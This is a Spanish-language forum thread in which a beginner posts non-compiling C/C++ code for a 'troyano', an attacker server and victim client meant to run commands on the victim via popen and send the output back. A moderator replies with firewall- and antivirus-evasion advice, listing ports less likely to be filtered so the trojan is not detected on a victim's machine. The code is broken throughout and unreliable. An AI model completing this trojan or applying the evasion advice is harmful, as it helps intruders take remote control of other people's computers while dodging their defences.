Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mi troyano. Necesito ayuda!

  • 13 Respuestas
  • 1000 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado TheSaint

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« en: Mayo 09, 2019, 11:04:26 am »
Muy Buenas Señores,

Estoy creando e informandome sobre troyanos i sockets, pero aun me faltan algunos conocimientos, necessito que alguien me ayude con mis codigos, alguien puede ayudarme porfavor??

este son los codigos:
el servidor ( en este caso e atacante )
Código: [Seleccionar]
/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>         
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8080 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */

int main()
{
    int socket(int /*DOMAIN*/,int SOCK_STREAM,int /*Protocol*/);

   int fd, fd2; /* los ficheros descriptores */

   struct sockaddr_in server;
   /* para la información de la dirección del servidor */

   struct sockaddr_in client;
   /* para la información de la dirección del cliente */

   int sin_size;

   /* A continuación la llamada a socket() */
   if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { 
      printf("error en socket()\n");
      exit(-1);
   }

   server.sin_family = AF_INET;         

   server.sin_port = htons(PORT);
   /* ¿Recuerdas a htons() de la sección "Conversiones"? =) */

   server.sin_addr.s_addr = INADDR_ANY;
   /* INADDR_ANY coloca nuestra dirección IP automáticamente */

   bzero(&(server.sin_zero),8);
   /* escribimos ceros en el reto de la estructura */


   /* A continuación la llamada a bind() */
   if(bind(fd,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      printf("error en bind() \n");
      exit(-1);
   }     

   if(listen(fd,BACKLOG) == -1) {  /* llamada a listen() */
      printf("error en listen()\n");
      exit(-1);
   }

   while(1) {
      sin_size=sizeof(struct sockaddr_in);
      /* A continuación la llamada a accept() */
      if ((fd2 = accept(fd,(struct sockaddr *)&client,
                        &sin_size))==-1) {
         printf("error en accept()\n");
         exit(-1);
      }

      printf("Se obtuvo una conexión desde %s\n",
             inet_ntoa(client.sin_addr) );
      /* que mostrará la IP del cliente */

      send(fd2,"Bienvenido a mi servidor.\n",22,0);
      /* que enviará el mensaje de bienvenida al cliente */

     /* Limpiar la consola */
   system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE *msg = popen(serverMsg, "r");
   char buffer[2048];
   string resultado = "";
   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(socket, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   closesocket(sock);
   //Llamar nuevamente a la función
   main();
  }
 }



      exit(fd2); /* cierra fd2 */
   }
}


y este es el codigo de el cliente ( en este caso la victima )

Código: [Seleccionar]
#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define PORT 8080
//definimos el maximo de datos
#define MAXDATASIZE 100


using namespace std;

int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int fd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char  *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{   
   char *h_name;                   /* El nombre oficial del nodo.               */
   char **h_aliases;               /* Lista de Alias.                           */
   int h_addrtype;                 /* Tipo de dirección del nodo.               */
   int h_length;                   /* Longitud de la dirección.                 */
   char **h_addr_list;             /* Lista de direcciones del nombre del       */
                                   /* servidor.                                 */
   #define h_addr  h_addr_list[0]  /* Dirección, para la compatibilidad con     */
                                   /* anteriores.                               */
};

/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int PORT;     /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

if (argc !=2) {
      /* esto es porque nuestro programa sólo necesitará un
      argumento, (la IP) */
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }

   if ((he=gethostbyname(argv[1]))==NULL){       
      /* llamada a gethostbyname() */
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){ 
      /* llamada a socket() */
      printf("socket() error\n");
      exit(-1);
   }

server.sin_family = AF_INET;
   server.sin_port = htons(PORT);
   /* htons() es necesaria nuevamente ;-o */
   server.sin_addr = *((struct in_addr *)he->h_addr); 
   /*he->h_addr pasa la información de ``*he'' a "h_addr" */
   bzero(&(server.sin_zero),8);

 if(connect(fd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){
      /* llamada a connect() */
      printf("connect() error\n");
      exit(-1);
   }

   if ((MAXDATASIZE=recv(fd,buf,MAXDATASIZE,0)) == -1){ 
      /* llamada a recv() */
      printf("Error en recv() \n");
      exit(-1);
   }

   buf[MAXDATASIZE]='\0';

   printf("Mensaje del Servidor: %s\n",buf);
   /* muestra el mensaje de bienvenida del servidor =) */

   int shutdown(fd);   /* cerramos fd =) */

}





Espero que me podais ayudar porfavor, Muchas gracias por vuestra atención.
« Última modificación: Mayo 09, 2019, 11:59:11 am por Gabriela »

Desconectado AXCESS

  • *
  • Moderator
  • Mensajes: 326
  • Actividad:
    41.67%
  • Reputación 6
    • Ver Perfil
« Respuesta #1 en: Mayo 09, 2019, 01:15:00 pm »
No le iba a comentar (no suelo involucrarme en este tipo de proyectos), pero le haré una ligera observación:

El puerto que escogió es uno de los más celosamente custodiados por los sistemas de seguridad (firewalls o antivirus). Dudo muchísimo que sea por ahí el éxito.

Le sugiero que estudie una variante, e infórmese que puertos le son favorables. Además, puede escoger varios, si hace una ligera modificación, para aumentar las probabilidades, aunque el éxito o fracaso de detección estaría dado por el tipo de sistema de seguridad, que tenga montado la víctima. Pero se gana o se pierde… cierto?

Hay otros errores, pero lo descubrirá rápidamente si monta una maqueta en su laboratorio (sus pc), pues enseguida le saltará.

Por lo demás está bueno.
Tiene sus habilidades y talentos.

Suerte.


Desconectado TheSaint

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Mayo 09, 2019, 03:24:14 pm »
Muchas gracias,

te lo agradezco mucho por tus aportaciones y consejos, es genial poder tener una comunidad asi <3

Desconectado TheSaint

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Mayo 09, 2019, 05:13:36 pm »

Buenas gente, su puede ser, si alguien sabe algo mas puede deciremelo, me refiero a que no se acabe el hilo que si podeis aportar algo, sin dudarlo, escribirlo porfavor <3

Desconectado AXCESS

  • *
  • Moderator
  • Mensajes: 326
  • Actividad:
    41.67%
  • Reputación 6
    • Ver Perfil
« Respuesta #4 en: Mayo 09, 2019, 11:06:14 pm »
Sugerencia sobre la observación:

Puertos que no son propicios por tendencias de filtrados de seguridad:

443  <<< HTTPS
80     <<< HTTP
995    <<< Email (POP3S) varía según el proveedor 110, 25, etc.
587     <<< Ídem al anterior, pero para TLS
8080   <<< Proxy server (comúnmente usado)
8443   <<< Proxy server (comúnmente usado)
Entre muchos otros.

Puertos que “por lo general” no se establece un filtrado “por defecto”, en los sistemas de seguridad:

53      <<< DNS (la tendencia es a filtrarlo por proveedores o VPN´s)
8484 <<< Proxy server (comúnmente usado)
123     <<< NTP
137      <<< NetBIOS
1194 <<< por defecto del OpenVPN u servicios que lo usen (VPN´s)
9200   <<< Servicios varios de software en general

Entre otros, que suelen “popularmente” usar las VPN´s para evadir restricciones.

Ahora bien, no hay una garantía de que sean puerta segura, y dependerá mucho del entorno del antivirus y del firewall, así como de la configuración (por defecto o personalizada) que le dé el usuario, o admin.

En la medida que escoja puertos de poco uso, o poco convencionales, existirá la elevada probabilidad de que se encuentren cerrados, o con solicitud de permisos root.

Puede ahondar más en la Wikipedia.

El dominar estas especificaciones, le ayudarán mucho en la presente, y futuras implementaciones.
Espero que le haya resultado interesante.

Buena Suerte.

Conectado DtxdF

  • *
  • Moderator
  • Mensajes: 300
  • Actividad:
    33.33%
  • Reputación 5
  • Fácil manipular + No es fácil manipularse
    • Ver Perfil
    • Transfi: Un sistema de almacenamiento en Herramientas de seguridad informática alojadas en mi repositorio
« Respuesta #5 en: Mayo 10, 2019, 12:18:28 am »
@TheSaint

Si tu dispones de un entorno Linux puedes ver el fichero de los servicios comunes "cat /etc/services". Fichero que lo usa la increíble e imprescindible herramienta "nmap".
- Gobiernos: Personas desoladas de la inteligencia

Desconectado TheSaint

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« Respuesta #6 en: Mayo 10, 2019, 03:00:09 pm »

Hola chic@s,

Muchas gracias por daros la molestia de responder a mis posts, enserio, veo que tengo que trabajar mas en los puertos, pero si os fijais en mi codigo faltan cosas o almenos en mi compliador me detecta errores y me cuesta solucionarlos, poco a poco iré entendiendo e investigando, pero si os estais aburriendo o os apetece contestar perfecto, pero sino ni os inmuteis en mi "proyecto"


Muchas Gracias por vuestro tiempo y vuestra atención.

Conectado DtxdF

  • *
  • Moderator
  • Mensajes: 300
  • Actividad:
    33.33%
  • Reputación 5
  • Fácil manipular + No es fácil manipularse
    • Ver Perfil
    • Transfi: Un sistema de almacenamiento en Herramientas de seguridad informática alojadas en mi repositorio
« Respuesta #7 en: Mayo 10, 2019, 03:18:48 pm »
Podrías enviar una imagen del error?, Para que te podamos ayudar con el error de código.
- Gobiernos: Personas desoladas de la inteligencia

Desconectado TheSaint

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« Respuesta #8 en: Mayo 10, 2019, 05:22:12 pm »

Lo siento soy nuevo en este foro, nose como se hace para colgar fotos, he divagado por el foro y me sale que tengo que ir a una pagina y colgar las fotos ahi, despues pasar el link, pero nose, no me funciona, voy ha hacer una prueba por aqui a ver si la veis o no ok ? Lo siento mucho de verdad.







« Última modificación: Mayo 10, 2019, 05:34:04 pm por TheSaint »

Desconectado AXCESS

  • *
  • Moderator
  • Mensajes: 326
  • Actividad:
    41.67%
  • Reputación 6
    • Ver Perfil
« Respuesta #9 en: Mayo 10, 2019, 05:47:40 pm »

Conectado Gabriela

  • *
  • Co Admin
  • Mensajes: 903
  • Actividad:
    5%
  • Reputación 18
    • Ver Perfil
    • Email
« Respuesta #10 en: Mayo 10, 2019, 06:34:02 pm »

Alcanza con leer la página donde estas publicando para aprender a subir imágenes.

https://underc0de.org/foro/dudas-generales-121/t28959/

Saludos
Gabriela

Desconectado TheSaint

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« Respuesta #11 en: Mayo 11, 2019, 01:50:05 pm »

Vale chicos ya lo he endcontrado, aqui debajo os lo dejo muchas gracias.


https://postimg.cc/gallery/242ec4c3e/

Conectado Kirari

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    36.67%
  • Reputación 2
  • Solo espero el momento adecuado
    • Ver Perfil
    • Baúl para el público
« Respuesta #12 en: Mayo 11, 2019, 07:35:25 pm »
@TheSaint Tienes muchos errores con las variables por lo que veo, antes que nada deberías pasar el código que hiciste, así podremos decirte mejor cuál es el problema. Pero no te haremos todo, trataremos de ayudarte, pero también intenta resolver los problemas por su propia cuenta, sino no aprenderá (es solo una recomendación). Saludos!
Jamás te contarán la verdadera versión, siempre te dirán la suya... Por eso... Si quieres saber la verdad, debes buscarla tú mismo... Eso es lo que les da pánico... tú.

Desconectado TheSaint

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« Respuesta #13 en: Mayo 12, 2019, 07:38:51 am »

De verdad muchas gracias yo lo unico que quiero es entender al 100% el codigo, y para eso os pido ayuda, tambien investigo mucho sobre los sockets y todo, lo intento arreglar solo, pero mis conocimientos son muy basicos, ya que nunca he tenido nadie quien me enseñe nada, ni he tomado ningun curso, solo cursos online de cpp y python y investigar sobre penetracion. Bueno aqui os dejo el codigo bastante mas modificado que el anterior.

El primer codigo seria el cliente y el segudo seria el servidor. Quiero añadirle muchas cosas para que se parezca lo mejor possible a un troyano, voy a tener este proyecto activo durante mucho para acabar de redondearlo, y perfecionarlo bastante ya que quiero que sea un proyecto muy bueno.


Muchas gracias por vuestra ayuda de verdad se agradece mucho <3.



Código: [Seleccionar]

#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define port 9200
//definimos el maximo de datos
#define MAXDATASIZE 100


using namespace std;

int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int socketfd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char  *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{   
   char *h_name;                   /* El nombre oficial del nodo.               */
   char **h_aliases;               /* Lista de Alias.                           */
   int h_addrtype;                 /* Tipo de dirección del nodo.               */
   int h_length;                   /* Longitud de la dirección.                 */
   char **h_addr_list;             /* Lista de direcciones del nombre del       */
                                   /* servidor.                                 */
   #define h_addr  h_addr_list[0]  /* Dirección, para la compatibilidad con     */
                                   /* anteriores.                               */
};

/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int PORT;     /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

if (argc !=2) {
      /* esto es porque nuestro programa sólo necesitará un
      argumento, (la IP) */
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }

   if ((he=gethostbyname(argv[1]))==NULL){       
      /* llamada a gethostbyname() */
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((socketfd=socket(PF_INET, SOCK_STREAM, 0))==-1){ 
      /* llamada a socket() */
      printf("socket() error\n");
      exit(-1);
   }

server.sin_family = PF_INET;
   server.sin_port = htons(port);
   /* htons() es necesaria nuevamente ;-o */
   server.sin_addr = *((struct in_addr *)he->h_addr); 
   /*he->h_addr pasa la información de ``*he'' a "h_addr" */
   bzero(&(server.sin_zero),8);

 if(connect(socketfd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){
      /* llamada a connect() */
      printf("connect() error\n");
      exit(-1);
   }

   if ((MAXDATASIZE=recv(socketfd,buf,MAXDATASIZE,0)) == -1){ 
      /* llamada a recv() */
      printf("Error en recv() \n");
      exit(-1);
   }

   buf[MAXDATASIZE]='\0';

   printf("Mensaje del Servidor: %s\n",buf);
   /* muestra el mensaje de bienvenida del servidor =) */

   int shutdown(sockfd);   /* cerramos fd =) */

}

Código: [Seleccionar]

/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>         
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define port 9200 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */
int main()
{
    int socket(int PF_INET, int SOCK_STREAM, int protocol = 0);

   int sockfd; /* los ficheros descriptores */
   int socketfd2;


   struct sockaddr_in server;
   /* para la información de la dirección del servidor */

   struct sockaddr_in client;
   /* para la información de la dirección del cliente */

   int sin_size;

   /* A continuación la llamada a socket() */
   if ((sockfd=socket(PF_INET, SOCK_STREAM, 0)) == -1 ) { 
      printf("error en socket()\n");
      exit(-1);
   }

   server.sin_family = PF_INET;         

   server.sin_port = htons(port);
   /* ¿Recuerdas a htons() de la sección "Conversiones"? =) */

   server.sin_addr.s_addr = INADDR_ANY;
   /* INADDR_ANY coloca nuestra dirección IP automáticamente */

   bzero(&(server.sin_zero),8);
   /* escribimos ceros en el reto de la estructura */


   /* A continuación la llamada a bind() */
   if(bind(sockfd,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      printf("error en bind() \n");
      exit(-1);
   }     

   if(listen(sockfd,BACKLOG) == -1) {  /* llamada a listen() */
      printf("error en listen()\n");
      exit(-1);
   }

   while(1) {
      sin_size=sizeof(struct sockaddr_in);
      /* A continuación la llamada a accept() */
      if ((socketfd2 = accept(sockfd,(struct sockaddr *)&client,
                        &sin_size))==-1) {
         printf("error en accept()\n");
         exit(-1);
      }

      printf("Se obtuvo una conexión desde %s\n",
             inet_ntoa(client.sin_addr) ); T
      /* que mostrará la IP del cliente */

      send(socketfd2,"Bienvenido a mi servidor.\n",22,0);
      /* que enviará el mensaje de bienvenida al cliente */

     /* Limpiar la consola */
      system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE *msg = popen(serverMsg, "r");
   char buffer[2048];

   string resultado = "";


   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(socket, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   close(socket);
   //Llamar nuevamente a la función
   main();
  }
 }



     close(socketfd2); /* cierra fd2 */
   
}

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] Ayuda urgente con Virus "Virus.Win32Sality"

Iniciado por Napsters

Respuestas: 6
Vistas: 4853
Último mensaje Junio 11, 2012, 03:38:18 am
por Satyricon
"ayuda con fruitywifi-karma" no puedo activar el modulo karma.

Iniciado por cristobal92

Respuestas: 4
Vistas: 1914
Último mensaje Agosto 02, 2016, 12:03:45 pm
por cristobal92
[JAVA] Ayuda Sockets en Java

Iniciado por FERNANDX

Respuestas: 1
Vistas: 1041
Último mensaje Abril 25, 2018, 08:49:50 pm
por Mortal_Poison
Ayuda Para Hacking Para Juegos

Iniciado por NinjaWarrior

Respuestas: 0
Vistas: 482
Último mensaje Marzo 06, 2019, 08:06:47 pm
por NinjaWarrior
[Ayuda] Crear .zip o .rar de un "archivo"

Iniciado por Zentraedi

Respuestas: 5
Vistas: 2184
Último mensaje Marzo 03, 2017, 02:15:20 pm
por Zentraedi